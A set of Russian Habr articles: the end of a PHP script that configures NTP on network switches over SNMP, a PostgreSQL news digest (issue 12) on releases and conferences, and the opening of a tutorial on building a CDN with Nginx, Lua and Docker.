// Превращаем IP адреса в число для того, чтоб запихать в цикл
$ip = ip2long($startip);
$ip2 = ip2long($endip);
// начинаем цикл перебора IP адресов
for($ip;$ip <= $ip2; $ip++)
{
// Превращаем значение IP в привычную нам форму xxx.xxx.xxx.xxx для того, чтобы отправить на него snmp комманду и вывести на экран в читабельном виде
$ipdec = long2ip($ip);
// проверяем доступность коммутатора открытием сокета на 80 порт
$fp = @fsockopen ($ipdec, "80", $errno, $errstr, 2);
// Если коммутатор не доступен, выводим на экран текст по шаблону: IP - Error - Текст ошибки (номер ошибки)
if (!$fp) {
echo $ipdec." - Error - $errstr ($errno)<br /";
// иначе отправляем на него snmp коммманду
} else {
// Выключаем летнее время
snmpset($ipdec, $community, $dissummertime, "i", "0");
// Включаем синхронизацию времени по ntp
snmpset($ipdec, $community, $enantp, "i", "3");
// Указываем интервал синхронизации времени
snmpset($ipdec, $community, $ntpupdateoid, "i", $interval);
// Указываем адрес первого ntp сервера
snmpset($ipdec, $community, $ntp1oid, "a", $ntp1);
// Указываем адрес второго ntp сервера
snmpset($ipdec, $community, $ntp2oid, "a", $ntp2);
// Указываем сдвиг часового пояса
snmpset($ipdec, $community, $gmtoid, "i", $gmt);
// Выводим на экран сообщение по шаблону: IP - OKe
echo $ipdec." - OKe
";
}
}
?>
```
После отправки данных значений на первый пул адресов можно в конфиге поменять пул на следующий и заного запустить скрипт.
Минусы скрипта:
1. Нужно открывать тело скрипта для изменения пула адресов.
В принципе можно сделать поле ввода.
2. У меня IP коммутаторов лежат в базе данных ERP, потому скрипт будет брать их от туда, чтобы можно было исключить пустые адреса.
3. Скрипт не отправляет команду на сохранение конфига коммутатора, т.е. после ребута (отключения электричества) данные настройки не сохранятся. Исправить эту ошибку остается Вам домашним заданием. Т.е. нужно найти oid сохранения конфиги и добавить строчку snmtset в тело скрипта.
Ну и как следует писать приличным людям: Метод не претендует на оригинальность и можете пользоваться им как хотите и на свой страх и риск.
P.S. для сохранения конфига нужно отпраивть строку: .1.3.6.1.4.1.171.12.1.2.6.0 i 2 | https://habr.com/ru/post/152931/ | null | ru | null |
# Дайджест новостей из мира PostgreSQL. Выпуск №12
*Мы продолжаем знакомить вас с самыми интересными новостями по PostgreSQL.*
Релизы
------
**PostgreSQL 11.1**
Вместе с этой версией вышли также 10.6, 9.6.11, 9.5.15, 9.4.20 и 9.3.25 (это последний релиз 9.3). В этой версии есть изменения, связанные с безопасностью. Исправили выявленные ошибки. Прочитать о релизах можно [здесь](https://www.postgresql.org/about/news/1905/), а скачать [здесь](https://www.postgresql.org/download/).
**Postgres Pro Standard 11.1.1, 10.6.1, 9.6.11.1, 9.5.15.1, Postgres Pro Enterprise 10.6.1, 9.6.11.1**
Эти релизы основаны на соответствующих ванильных версиях PostgreSQL и на предыдущих версиях Standard и Enterprise. В разделе «Замечания к выпуску» в соответствующей версии [документации](https://postgrespro.ru/docs) можно прочитать об отличиях от предыдущей версии семейства. Например, в Enterprise [10.6.1](https://postgrespro.ru/docs/enterprise/10/release-proee-10-6-1.html#id-1.11.6.4.3) и [9.6.11.1](https://postgrespro.ru/docs/enterprise/9.6/release-proee-9-6-11-1.html#idp138) добавлена поддержка операционной системы Astra Linux «Смоленск» 1.6 и улучшена стабильность автономных транзакций.
**pgAdmin 4 version 3.5.**
В этом релизе не только исправлены баги (11 штук), но и добавлены [новые возможности](https://www.pgadmin.org/docs/pgadmin4/dev/release_notes_3_5.html). Среди них:* Миграция с Bootstrap 3 на Bootstrap 4
* Можно останавливать сервисные процессы (Backup/Restore/Maintenance...)
Бинарники для `Windows` и `macOS`, а также для `Python Wheel`, `Docker`-контейнеры и тарболы с исходниками можно [скачать отсюда](https://www.pgadmin.org/download/). `RPM`ы и `DEB`ы должны появиться в репозиториях `postgresql.org` в ближайшие дни.
**TimescaleDB 1.0**
В анонсе [говорится](https://blog.timescale.com/1-0-enterprise-production-ready-time-series-database-open-source-d32395a10cbf), что это версия годится для использования в промышленном режиме. Эта СУБД, ориентированная на работу с временнЫми рядами, выполнена как расширение для PostgreSQL. Можно запускать разные версии TimescaleDB с одним и тем же экземпляром PostgreSQL Ядро команды разработчиков — выпускники Принстонского Университета.
**PipelineDB 1.0**
[Вышла](https://www.pipelinedb.com/blog/pipelinedb-1-0-0-high-performance-time-series-aggregation-for-postgresql?fbclid=IwAR1ln4SQjpJDFB8Av9fwNh3m8dTMzfa0ygt6UwjjS2F-iWZmeQPc7oNrxuk) PipelineDB 1.0. Эта СУБД тоже, как и TimescaleDB, ориентирована на работу с временнЫми рядами. Но PipelineDB оптимизирована для агрегации и не хранит большие объемы исходных данных, она рассчитана на аналитику в режиме реального времени. Эта СУБД наследница TelegraphCQ (потоковой СУБД на PostgreSQL), далее StreamDB (его коммерческой версии). Теперь она работает как расширение PostgreSQL под лицензией Apache 2.0.
**Postgres-XL 10R1**
*2ndQuadrant* анонсировала релиз Postgres-XL 10R1. Он поддерживает большинство важных новшеств из недавнего прошлого PostgreSQL, таких как декларативное секционирование в PostgreSQL 10 и распараллеливание запросов, появившееся в 9.6. В 10R1 появился полнотекстовый фразовый поиск. Из специфических черт XL: был усовершенствован планировщик распределенных запросов. Подробности [здесь](https://www.postgres-xl.org/documentation/release-xl-10r1.html), а скачать можно [здесь.](https://www.postgres-xl.org/downloads/postgres-xl-10r1.tar.gz)
**GDS**
*2ndQuadrant* сообщает, что их Global Database as a Service (GDS) теперь поддерживает PostgreSQL 11. Она предназначена [для облаков](https://www.2ndquadrant.com/it/services/gds-postgresql-cloud/), поддерживает BDR, в том числе в географически распределенной среде. Можно делать бэкап с любого узла на любой и с любого восстанавливать, работает автоматический `failover` и `switchover`. Можно восстанавливаться в режиме PITR. Некоторое (довольно схематичное) описание есть [здесь](https://www.2ndquadrant.com/en/services/gds-postgresql-cloud/).
**Foreign Data Wrapper for SQLite 1.1.0**
В этой версии доделано многое, начатое в вышедшей незадолго до этого 1.0.0. В результате в ней есть:
* поддержка PostgreSQL 11;
* push-down выражений WHERE;
* push-down агрегации;
* поддержка транзакций;
* на внешних таблицах можно выполнять SELECT, INSERT, UPDATE и DELETE.
Разрабатывают Foreign Data Wrapper for SQLite в *Toshiba Software Engineering & Technology Center*. Исходники можно найти в [репозитории](https://github.com/pgspider/sqlite_fdw).
**pg\_probackup 2.0.24**
В новой версии исправлены ошибки, а среди новшеств относительно версии 2.0.17:
* начиная с версии PG 9.6 при бэкапе с реплики не требуется соединение с мастером;
* `merge` теперь относится к категории стабильных операций (команда `merge` актуализирует полный родительским бэкап, используя заданные инкрементальные бэкапы)
* в этой версии более консервативный подход к валидации файлов: в процессе валидации `pg_probackup` сверяет чексуммы блоков, валидирует заголовки блоков и проверяет, нет ли блоков «из будущего». Это поведение по умолчанию и может быть отменено;
* в режиме PAGE строить карту изменившихся страниц теперь можно параллельно;
* начиная с версии 10 можно задавать `LSN` в качестве точки восстановления.
Чтобы посмотреть другие новшества и исправления, можно заглянуть [сюда](https://www.postgresql.org/message-id/flat/fbaa3216-9a19-6f44-be28-d825f7048245%40postgrespro.ru?fbclid=IwAR2T79ZQfhH9hJbsjKWTmRo7grPnDVAYr3xNLZ2kJjWVd-qBreIB5gyF_FU). Загрузить можно [отсюда](https://github.com/postgrespro/pg_probackup). Версия для Windows сейчас в статусе бета.
**Bucardo 5.5.0**
В этой версии появилась поддержка PostgreSQL 11. [Bucardo](http://bucardo.org/wiki/Bucardo) это демон, написанный на `Perl`, который делает репликацию на основе триггеров. Можно настраивать репликацию на уровне таблиц.
**pg\_back 1.7**
Это новая версия [скрипта](https://github.com/orgrim/pg_back) для бэкапа. Скрипт умеет сохранять роли и табличные пространства.
**dbForge Data Compare for PostgreSQL 3.1**
В [этой версии](http://blog.devart.com/whats-new-in-dc-for-postrgesql-31.html) появилась поддержка соединений с PostgreSQL 10.x и 11.x. Утилита Data Compare позволяет сравнивать базы данных и отдельные таблицы в них, помогает писать скрипты для синхронизации баз.
**pgCodeKeeper 5.2.0**
В этой версии менеджера схем баз данных добавлена поддержка процедур, появившаяся в PostgreSQL 11. О новшествах и исправлениях можно узнать [здесь](https://pgcodekeeper.org/#information). Загрузить можно [отсюда](https://github.com/pgcodekeeper/pgcodekeeper).
**Cybertec PostgreSQL Configurator**
В этой [утилите для тюнинга](http://pgconfigurator.cybertec.at/) тоже появилась поддержка PostgreSQL 11.
**v1.5 of pgmetrics**
В этом релизе появилась поддержка SCRAM-SHA-256-аутентификации. Также добавили возможность собирать информацию только о базах из заданного списка. Релиз [на гитхабе](https://github.com/rapidloop/pgmetrics/releases). Подробности [здесь](https://pgmetrics.io/docs/index.html#example).
**pglogical 2.2.1**
*2ndQuadrant* [информирует](https://pgmetrics.io/docs/index.html#example), что в новой версии полная поддержка PostgreSQL 11.
**pgpool-II 4.0.2**
Кроме этой версии доступны Pgpool-II 4.0.2, 3.7.7, 3.6.14, 3.5.18, 3.4.21, а вот версии до 3.6 более не распространяются в исходных кодах. О релизе [здесь](http://www.pgpool.net/docs/latest/en/html/release.html). Исходники и RPMы [здесь](http://pgpool.net/mediawiki/index.php/Downloads).
**psycopg 2.7.6**
Это популярный адаптер для Python. В нем несколько расширений для облегчения доступа к PostgreSQL из Python. В данной версии ограничились исправлением ошибок и перемапированием кодов ошибок для PostgreSQL 11. Исходники [здесь](http://initd.org/psycopg/tarballs/PSYCOPG-2-7/psycopg2-2.7.6.tar.gz).
**psqlODBC 11.00.0000**
Об изменениях в этой версии (4 нуля — это не опечатка) можно узнать [здесь](https://odbc.postgresql.org/docs/release.html).
Конференции и митапы
--------------------
### Прошедшие
**PGDay Красноярск**
[Конференция](https://pgconf.ru/201811) прошла 12-13 ноября. Из разнообразных докладов можно было узнать, например, об опыте работы в связке PostgreSQL+1C (*Михаил Фисков*); о `pg_probachup`, резервном копировании и верификации с его помощью (*Григорий Смолкин*); о шардинге и секционировании при миллиарде записей (*Алексей Фадеев*). А знаменитый *Брюс Момджан* рассуждал о том, вечен ли Postgres. О конференции можно [почитать в блоге](https://postgrespro.ru/blog/pgsql/3563517) Postgres Professional, а [здесь](https://pgconf.ru/201811#presentations) ознакомиться со слайдами докладов.
*Егор Рогов* и *Павел Лузанов* (отдел обучения *Postgres Professional*) провели курсы по базовым навыкам администрирования PostgreSQL ([**DBA1**](https://postgrespro.ru/education/courses/DBA1))
**Митап iCluster в Нижнем Новгороде**
Этот митап, посвященный PostgreSQL, прошел 16 ноября в технопарке «Анкудиновка». В качестве зарубежной звезды опять выступал *Брюс Момджан*. *Олег Бартунов* и *Иван Панченко*, представлявшие *Postgres Professional* на высшем уровне, объясняли возможности `JSON/JSONB` и принципы создания высокопроизводительных (а не просто высоконагруженных) приложений соответственно. Специалисты по Postgres общались с руководством города и с представителями местного бизнеса. Отчет журналиста *cnews* можно увидеть [здесь](http://club.cnews.ru/blogs/entry/icluster_provel_mitap_s_krupnejshim_spetsialistom_subd_postgresql_bryusom_momzhianom_v_nizhnem_novgorode).
**Five Cool Things I Learned at the PostgreSQL Conference Europe 2018**
*Ахиллес Манциос* об увиденном и услышанном в Лиссабоне. Темы, впечатлившие автора (их не совсем 5):
* логическая репликация;
* zheap;
* параллельные запросы;
* настройка shared\_buffers;
* обо всём понемножку (в т.ч. JIT и улучшенный полнотекстовый поиск).
### Будущие
[](https://pgconf.ru/participant)
(Баннер кликабельный, подробности по ссылке)
**PGConf.ASIA 2018**
[ожидается](http://www.pgconf.asia/EN/2018/) 10-12 декабря в Токио.
**PGConf India 2019**
Индийская юзер-группа проведет PGconf в Бангалоре 13-15 февраля. Так как немало ключевых разработчиков PG связаны с этим субконтинентом, это может быть интересно. [Сайт конференции](https://pgconf.in).
**Prague PostgreSQL Developer Day 2019**
Синхронно (13-14 февраля) в Праге пройдет P2D2 2019. Ожидается, что [конференция](https://www.p2d2.cz/) будет с уклоном в проблемы пользователей и разработчиков приложений. Подавать заявки [сюда](https://p2d2.cz/callforpapers).
**PostgreSQL Conference Europe 2019, Милан**
Эта конференция пройдет 15–18 октября. Предлагается следить за новостями на [сайте](https://2019.pgconf.eu/), который еще будет наполняться информацией по мере приближения к дате.
Образование
-----------
**PostgreSQL. Основы языка SQL**
[Учебник вышел](https://postgrespro.ru/blog/news/3515147) в издательстве [БХВ-Петербург](http://www.bhv.ru/) при содействии *Postgres Professional* и уже [продается](https://www.labirint.ru/books/670228/) в книжных магазинах «Библио-Глобус», Ozon.ru, «Лабиринт», «Московский Дом книги», «Молодая Гвардия» и других. Автор учебника *Е.П. Моргунов*.
**Советы Брюса**
Великий и совсем не ужасный *Брюс Момджан* сменил амплуа [прорицателя](http://momjian.us/main/writings/pgsql/forever.pdf) на роль обычного сенсея. Вот [советы тем, кто мечтает](https://momjian.us/main/blogs/pgblog/2018.html?fbclid=IwAR3nFb6B5ivrsG4bAqwJSNACGtGDp6ShRq0wVdtABa3luDMV4IlJD1l_g-k#November_5_2018) поучаствовать как докладчик на международных PG-конференциях. Предпочтительные темы:
* новоя функциональность (фичи) в PG;
* пользовательский опыт (кейсы);
* (внутреннее устройство PG (Internals);
* новые типы нагрузок (workloads);
* производительность
* разработка приложений
Лучше подавать заявки сразу на несколько тем: конкуренция велика, и может пройдет хотя бы одна… А если заявку приняли, начинайте ваять слайды за несколько недель, а не за 30 минут до доклада.
Статьи
------
**Care To Know Clauses: All About SELECT, FROM, WHERE, GROUP BY, HAVING, ORDER BY, and LIMIT**
*Джошуа Отуэл* (Joshua Otwell) [показывает](https://severalnines.com/blog/care-know-clauses-all-about-select-where-group-having-order-and-limit) разницу между тем, как и что написано в запросе, и тем, что и в каком порядке на самом деле исполняется.
**When Databases Meet FPGA: Achieving 1 Million TPS With X-DB Heterogeneous Computing**
Не так уж часто услышишь о GPU, успешно ускоривших PostgreSQL, а уж FPGA/ПЛИС совсем экзотика. И [вот статья](https://dzone.com/articles/when-databases-meet-fpga-achieving-1-million-tps-w) об обработке 1 млн транзакций в секунду, отчасти за счет FPGA. На них уже возложили ускорение запросов с SELECT и WHERE, на очереди GROUP BY. Это решение тем удивительней, что у *Alibaba* нагрузка OLTP, а не OLAP и серьезная доля пушущих транзакций. В распределенной СУБД `X-DB` собственный движок хранения `X-Engine`. В статье рассказывается о специфической архитектуре и доработках, необходимых для работы в таких экстремальном и экзотическом окружении.
**Postgres 11 partitioning**
*Дениш Пэтел*(Denish Patel) [разъясняет](http://www.pateldenish.com/2018/11/postgres-11-partitioning.html), какие проблемы с секционированием были, наконец, решены в PostgreSQL 11. Есть матрица функциональных возможностей 9.6/10/11.
**Немного о конфигурировании PostgreSQL**
Эта [статья](https://infostart.ru/public/325482/) *Павла Фомина* замечательна, может, не сама по себе, а тем, что ее появление на сайте [Инфостарт](https://infostart.ru) была как минимум попыткой серьезного разговора о настройке PostgreSQL и о технологиях этой СУБД. Она написана, мягко говоря, не вчера, но зато комментарии продолжают прибывать по сей день.
**Экспресс-обзор производительности PostgreSQL 10.5 в новейших облачных сервисах Яндекс.Облака**
В этом [обзоре](https://habr.com/post/428151/?fbclid=IwAR1OBFwKLSQjy776xFQNwdX7qE-zZS-AvXa_dt5CGmpljMRnvlnukF-B-eY) есть цифры, графики производительности, цены. Есть победители и проигравшие.
**fsync() и ОС**
*Виктор Егоров* обратил внимание участников [группы](https://www.facebook.com/search/top/?q=postgresql%20%D0%B2%20%D1%80%D0%BE%D1%81%D1%81%D0%B8%D0%B8) «PostgreSQL в России» в `facebook` на то, что следующие минорные релизы будут с изменённым поведениям на ошибки `fsync()` вызовов. «На ряде ОС (линукс в первых рядах) ядро при ошибке записи из своего буфера на ФС (что приложение видит как ошибку fsync-а) больше не пытается это сделать и при повторном вызове fsync приложением и просто возвращает SUCCESS (ядро просто сбрасывает свой write-back кэш если что-то пошло не так). В результате было принято решение в таких случаях PANIC-овать, т.е. база будет складываться. Добавленной крутилке `data\_sync\_retry`, которая при изменении заставляет базу не складываться, а только выдать ошибку в лог и продолжить попытки fsync-нуть блоки. Правда, в продукции включать эту опцию не рекомендуют». Обсуждаемый [коммит](https://postgr.es/m/E1gObQY-00021d-L6@gemulon.postgresql.org) и [детали обсуждения](https://www.postgresql.org/message-id/CAEepm=16aauN3LMHrVZ-uoqU8-k7aoSdGC3t7PghewVVsjUwtQ@mail.gmail.com?fbclid=IwAR17LIJhI-WRA0NR0YY5_DMJd9glWtgzxQL-P5SGukBNm7wDp9z1pl2hctY).
---
*Подписывайтесь на канал [postgresso](https://t.me/postgresso)!*
*Идеи и пожелания присылайте на почту: news\_channel@postgrespro.ru*
Предыдущие выпуски: [#11 (спец)](https://habr.com/company/postgrespro/blog/426745/), [#10](https://habr.com/topic/edit/422527/),
[#9](https://habr.com/company/postgrespro/blog/420283/), [#8](https://habr.com/company/postgrespro/blog/415675/), [#7](https://habr.com/company/postgrespro/blog/413419/), [#6](https://habr.com/company/postgrespro/blog/358560/), [#5](https://habr.com/company/postgrespro/blog/353736/), [#4](https://habrahabr.ru/company/postgrespro/blog/351650/), [#3](https://habrahabr.ru/company/postgrespro/blog/349100/), [#2](https://habrahabr.ru/company/postgrespro/blog/347858/), [#1](https://habrahabr.ru/company/postgrespro/blog/345652/) | https://habr.com/ru/post/428275/ | null | ru | null |
# Создаём и настраиваем собственную CDN
[](https://habr.com/ru/company/ruvds/blog/709548/)
Задача этого репозитория — создать свод знаний о том, как работают CDN, написав одну из них «с нуля». CDN, которую мы будем проектировать, использует следующие технологии: Nginx, Lua, Docker, docker-compose, Prometheus, Grafana и wrk.
Мы начнём с создания одного бэкенд-сервиса, а затем расширим его до многоузловой CDN с симуляцией задержек, а также возможностью наблюдений и тестирования. В каждом из разделов мы обсудим сложности и компромиссы при создании/управлении/эксплуатации CDN.
Что такое CDN?
--------------
Content Delivery Network — это сеть компьютеров, пространственно распределённая для обеспечения высокого уровня доступности и **повышенной производительности** систем, **работа которых кэшируется** в этой сети.
Зачем вам нужна CDN?
--------------------
CDN помогает:
* снизить время загрузки (более плавное потоковое воспроизведение, мгновенное открытие страницы для покупки, быстрая загрузка ленты друзей и так далее);
* сглаживать всплески трафика (чёрная пятница, выпуск популярного стримингового видео, срочные новости и так далее);
* снизить затраты (разгрузка трафика);
* масштабировать сеть до миллионов узлов.
Как работает CDN?
-----------------
CDN способны ускорить работу сервисов, размещая контент (медиафайлы, страницы, игры, javascript, json-ответы и так далее) ближе к пользователям.
Когда пользователь хочет использовать сервис, система маршрутизации CDN предоставляет ему «наилучший» узел, в котором контент с большой вероятностью **уже кэширован и расположен ближе к клиенту**. Пока не стоит беспокоиться о расплывчатости понятия «наилучший», надеюсь, в процессе чтения статьи вы поймёте его значение.
Стек CDN
--------
Создаваемая нами CDN будет состоять из следующих компонентов:
* [`Linux/GNU/Kernel`](https://www.linux.org/) — ядро/операционная система с выдающимися сетевыми возможностями, а также превосходным уровнем ввода-вывода.
* [`Nginx`](http://nginx.org/) — превосходный веб-сервер, который можно использовать в качестве обратного прокси, обеспечивающего возможность кэширования.
* [`Lua(jit)`](https://luajit.org/) — простой и мощный язык для добавления функций в Nginx.
* [`Prometheus`](https://prometheus.io/) — система с пространственной моделью данных, гибким языком запросов и эффективной базой данных временных рядов.
* [`Grafana`](https://github.com/grafana/grafana) — опенсорсный инструмент аналитики и мониторинга, способный подключаться ко многим источникам, включая Prometheus.
* [`Контейнеры`](https://www.docker.com/) — технологии упаковки, развёртывания и изолирования приложений (мы используем docker и docker compose).
Первоисточник — бэкенд-сервис
-----------------------------
Первоисточник (origin) — это система, в которой создаётся контент, или, по крайней мере, это источник данных для CDN. Пример сервиса, который мы будем создавать, будет простым JSON API. Бэкенд-сервис сможет возвращать изображение, видео, javascript, HTML-страницу, игру или любые другие данные, которые вы хотите доставить клиентам.
Для проектирования бэкенд-сервиса мы воспользуемся Nginx и Lua. Это отличный повод познакомиться с Nginx и Lua, потому что в дальнейшем мы будем активно их использовать.
> Подсказка: бэкенд-сервис можно написать на любом языке на выбор.
### Nginx: краткое введение
Nginx — это веб-сервер, работающий в соответствии со своей [конфигурацией](http://nginx.org/en/docs/beginners_guide.html#conf_structure). Файл конфигурации использует в качестве доминирующего фактора [директивы](http://nginx.org/en/docs/dirindex.html). Директива — это простая конструкция, задающая свойства Nginx. Существует два типа директив: **простые и блочные (контекстные)**.
**Простая директива** состоит из её имени, за которым следуют параметры, и заканчивается точкой с запятой.
```
# Синтаксис: <имя> <параметры>;
# Пример
add_header X-Header AnyValue;
```
**Блочная директива** соответствует тому же паттерну, однако она заканчивается не точкой с запятой, а фигурными скобками. Кроме того, внутри блочной директивы могут находиться другие директивы. Этот блок также называется контекстом.
```
# Синтаксис: <имя> <параметры> <блок>
location / {
add_header X-Header AnyValue;
}
```
Для обработки запросов Nginx использует воркеры (процессы). Существенное влияние на производительность сервера оказывает [архитектура Nginx](https://www.aosabook.org/en/nginx.html).
> Подсказка: хотя чаще всего используется единая принимающая очередь, обслуживающая множество воркеров, существуют и другие модели [для балансировки загрузки входящих запросов](https://blog.cloudflare.com/the-sad-state-of-linux-socket-balancing/).
### Конфигурация бэкенд-сервиса
Давайте разберём конфигурацию Nginx бэкенда JSON API. Думаю, будет гораздо проще, если мы увидим её в действии.
```
events {
worker_connections 1024;
}
error_log stderr;
http {
access_log /dev/stdout;
server {
listen 8080;
location / {
content_by_lua_block {
ngx.header['Content-Type'] = 'application/json'
ngx.say('{"service": "api", "value": 42}')
}
}
}
}
```
Смогли ли вы понять, что делает эта конфигурация? Давайте разберём её, прокомментировав каждую директиву.
[`events`](http://nginx.org/en/docs/ngx_core_module.html#events) обеспечивает контекст для [конфигураций обработки соединений](http://nginx.org/en/docs/events.html), а [`worker_connections`](http://nginx.org/en/docs/ngx_core_module.html#worker_connections) определяет максимальное количество одновременных подключений, которые могут быть открыты процессом воркера.
```
events {
worker_connections 1024;
}
```
[`error_log`](http://nginx.org/en/docs/ngx_core_module.html#error_log) конфигурирует логирование ошибок. Здесь мы просто отправляем все ошибки на stdout (error)
```
error_log stderr;
```
[`http`](http://nginx.org/en/docs/http/ngx_http_core_module.html#http) предоставляет корневой контекст, чтобы настроить все http/s-серверы.
```
http {}
```
[`access_log`](http://nginx.org/en/docs/http/ngx_http_log_module.html#access_log) конфигурирует путь (а также опционально формат и так далее) для логирования доступа.
```
access_log /dev/stdout;
```
[`server`](http://nginx.org/en/docs/http/ngx_http_core_module.html#server) задаёт конфигурацию рута для сервера, то есть указывает, где мы будем настраивать конкретное поведение сервера. В каждом контексте `http` может быть несколько блоков `server`.
```
server {}
```
В `server` мы можем задать директиву [`listen`](http://nginx.org/en/docs/http/ngx_http_core_module.html#listen), контролирующую адрес и/или порт, по которому [сервер будет принимать запросы](http://nginx.org/en/docs/http/request_processing.html).
```
listen 8080;
```
В конфигурации сервера мы можем указать маршрут при помощи директивы [`location`](http://nginx.org/en/docs/http/ngx_http_core_module.html#location). Он будет использоваться для предоставления специфической конфигурации для соответствующего пути запроса.
```
location / {}
```
В этом местоположении (кстати, `/` обрабатывает все запросы) для создания ответов мы будем использовать Lua. Существует директива [`content_by_lua_block`](https://github.com/openresty/lua-nginx-module#content_by_lua_block), предоставляющая контекст того, где будет работать код на Lua.
```
content_by_lua_block {}
```
Наконец, мы используем Lua и базовый [Nginx Lua API](https://github.com/openresty/lua-nginx-module#nginx-api-for-lua) для задания требуемого поведения.
```
-- ngx.header задаёт текущий заголовок ответа, который должен отправляться.
ngx.header['Content-Type'] = 'application/json'
-- ngx.say записывает тело ответа
ngx.say('{"service": "api", "value": 42}')
```
Обратите внимание, что большинство директив имеет область действия. Например, `location` применима только в контексте `location` (рекурсивно) и `server`.
> В дальнейшем мы не будем комментировать каждую добавляемую директиву, и станем описывать только самые релевантные теме соответствующего раздела.
### Настало время для демо CDN 1.0.0
Давайте посмотрим, что же мы сделали.
```
git checkout 1.0.0 # возвращаемся к конкретной конфигурации
docker-compose run --rm --service-ports backend # запускаем контейнеры, раскрывающие сервисы
http http://localhost:8080/path/to/my/content.ext # то, что потребляет сервис, я использовал httpie, но вы можете воспользоваться curl или чем-то иным
# вы должны увидеть json-ответ
```
#### ▍ Добавление функций кэширования
Чтобы бэкенд-сервис был кэшируемым, нам нужно задать политику кэширования. Для настройки нужного нам поведения кэширования мы воспользуемся HTTP-заголовком [Cache-Control](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control).
```
-- мы хотим, чтобы контент кэшировался через 10 секунд ИЛИ на указанный max_age (пример: /path/to/service?max_age=40 - это 40 секунд)
ngx.header['Cache-Control'] = 'public, max-age=' .. (ngx.var.arg_max_age or 10)
```
При желании можно проверять возвращаемый заголовок ответа `Cache-Control`.
```
git checkout 1.0.1 # возвращаемся к конкретной конфигурации
docker-compose run --rm --service-ports backend
http "http://localhost:8080/path/to/my/content.ext?max_age=30"
```
#### ▍ Добавляем метрики
Для отладки вполне достаточно будет изучения логов, однако когда трафика станет больше, мы практически никак не сможем понять, как работает сервис. Чтобы справиться с этим, мы используем [VTS](https://github.com/vozlt/nginx-module-vts) — модуль Nginx, добавляющий отслеживание метрик.
```
vhost_traffic_status_zone shared:vhost_traffic_status:12m;
vhost_traffic_status_filter_by_set_key $status status::*;
vhost_traffic_status_histogram_buckets 0.005 0.01 0.05 0.1 0.5 1 5 10; # buckets указываются в секундах
```
[`vhost_traffic_status_zone`](https://github.com/vozlt/nginx-module-vts#vhost_traffic_status_zone) задаёт пространство памяти, требуемое для метрик. [`vhost_traffic_status_filter_by_set_key`](https://github.com/vozlt/nginx-module-vts#vhost_traffic_status_filter_by_set_key) группирует метрики по заданной переменной (например, мы решили сгруппировать метрики по `status`), а [`vhost_traffic_status_histogram_buckets`](https://github.com/vozlt/nginx-module-vts#vhost_traffic_status_histogram_buckets) позволяет группировать метрики по секундам. Мы решили создать группы от `0,005` до `10` секунд, потому что они помогут нам создавать перцентили (`p99`, `p50` и так далее).
```
location /status {
vhost_traffic_status_display;
vhost_traffic_status_display_format html;
}
```
Также мы должны отобразить метрики в location. Для этого мы используем `/status`.
```
git checkout 1.1.0
docker-compose run --rm --service-ports backend
# если перейти по адресу http://localhost:8080/status/format/html, то можно увидеть информацию о сервере 8080
# обратите внимание, что VTS также предоставляет другие форматы, например, status/format/prometheus, что пригодится нам в ближайшем будущем
```
Настроив метрики, мы можем выполнять тесты (нагрузочные) и наблюдать, приводят ли внесённые изменения конфигурации к повышению производительности.
> Подсказка: можно [сгруппировать метрики под отдельным пространством имён](https://github.com/leandromoreira/cdn-up-and-running/commit/105f54a27d1b58b88659789ae024d70c89d4a478). Это полезно, если у вас есть одно местоположение, которое в зависимости от контекста ведёт себя иным образом.
#### ▍ Рефакторинг конфигурации Nginx
С увеличением размера конфигурации в ней становится труднее разобраться. У Nginx есть удобная директива [`include`](http://nginx.org/en/docs/ngx_core_module.html#include), позволяющая создавать частичные файлы конфигурации и включать их в корневой файл конфигурации.
```
include basic_vts_location.conf;
```
Мы можем перенести в файл местоположение, групповые конфигурации по схожести и всё остальное, что сочтём нужным. Подобное можно сделать и [для кода на Lua](https://github.com/openresty/lua-nginx-module#lua_package_path).
```
content_by_lua_block {
local backend = require "backend"
backend.generate_content()
}
```
Все эти модификации внесены для повышения читаемости, но в то же время позволяют использовать код многократно.
CDN: то, что находится перед бэкендом
-------------------------------------
### Прокси
Всё, что мы пока сделали, никак не связано с CDN. Теперь настало время приступать к созданию CDN. Для этого мы создадим один её узел с Nginx, просто добавив несколько новых директив для соединения узла `edge` (CDN) с узлом `backend`.
На самом деле здесь нет ничего сложного, это просто блок [`upstream`](http://nginx.org/en/docs/http/ngx_http_upstream_module.html#upstream) с сервером, указывающим на конечную точку `бэкенда`. В location мы не предоставляем контент, а вместо этого указываем на upstream при помощи только что созданного [`proxy_pass`](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass).
```
upstream backend {
server backend:8080;
keepalive 10; # пул соединений для повторного использования
}
server {
listen 8080;
location / {
proxy_pass http://backend;
add_header X-Cache-Status $upstream_cache_status;
}
}
```
Также мы добавили новый заголовок (X-Cache-Status), указывающий, [используется ли кэш](http://nginx.org/en/docs/http/ngx_http_upstream_module.html#variables).
* **HIT**: когда контент есть в CDN, то `X-Cache-Status` должен вернуть попадание.
* **MISS**: когда контента нет в CDN, `X-Cache-Status` должен вернуть промах.
```
git checkout 2.0.0
docker-compose up
# мы по-прежнему можем получать контент от бэкенда
http "http://localhost:8080/path/to/my/content.ext"
# но на самом деле мы хотим получать доступ к контенту через edge (CDN)
http "http://localhost:8081/path/to/my/content.ext"
```
### Кэширование
Когда мы пытаемся получить контент, заголовок `X-Cache-Status` отсутствует. Похоже, что узел edge всегда неизменно запрашивает бэкенд. Но ведь на самом деле CDN работает не так, правда?
```
backend_1 | 172.22.0.4 - - [05/Jan/2022:17:24:48 +0000] "GET /path/to/my/content.ext HTTP/1.0" 200 70 "-" "HTTPie/2.6.0"
edge_1 | 172.22.0.1 - - [05/Jan/2022:17:24:48 +0000] "GET /path/to/my/content.ext HTTP/1.1" 200 70 "-" "HTTPie/2.6.0"
```
Edge просто перебрасывает клиентов через прокси на бэкенд. Что же мы упустили? Есть ли вообще причины использовать «простой» прокси? На самом деле, возможно, есть, если вы хотите обеспечить троттлинг, аутентификацию, авторизацию, терминирование tls-соединений или шлюз для нескольких сервисов, но нам сейчас нужно другое.
Нам нужно создать на Nginx область кэша при помощи директивы [`proxy_cache_path`](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_cache_path). Среди прочего, она задаёт путь, по которому будет находиться кэш, `key_zone` общей памяти и политики наподобие `inactive`, `max_size` для управления тем, какое поведение кэша нам нужно.
```
proxy_cache_path /cache/ levels=2:2 keys_zone=zone_1:10m max_size=10m inactive=10m use_temp_path=off;
```
